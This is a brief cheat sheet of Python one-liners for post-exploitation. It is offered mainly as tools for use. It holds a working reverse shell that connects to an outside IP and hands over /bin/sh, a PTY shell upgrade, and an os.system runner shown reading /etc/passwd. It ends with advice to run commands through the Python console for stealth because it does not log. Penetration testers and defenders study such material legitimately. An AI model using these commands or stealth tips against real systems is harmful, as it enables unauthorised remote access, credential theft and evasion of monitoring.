Python Command and Scripts for Post Exploitation

One liners

Start a web server that serves the local files on port 8000, single threaded

python -m SimpleHTTPServer 
8000

Python reverse shell frompentestmonkey.net

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Spawn bash shell prompt

python -c 'import pty; pty.spawn("/bin/bash")'

Print all ASCII characters

python -c 'import string; print string.printable'

Run OS commands through Python Interpreter

python -c 'import os; os.system("command here")'

example:

python -c 'import os; os.system("cat /etc/passwd")'

Remember that the python console does not log code by default, so you can run all post-exploit shenanigans through the python console for added stealth.
Also gets by certain environmental restrictions.
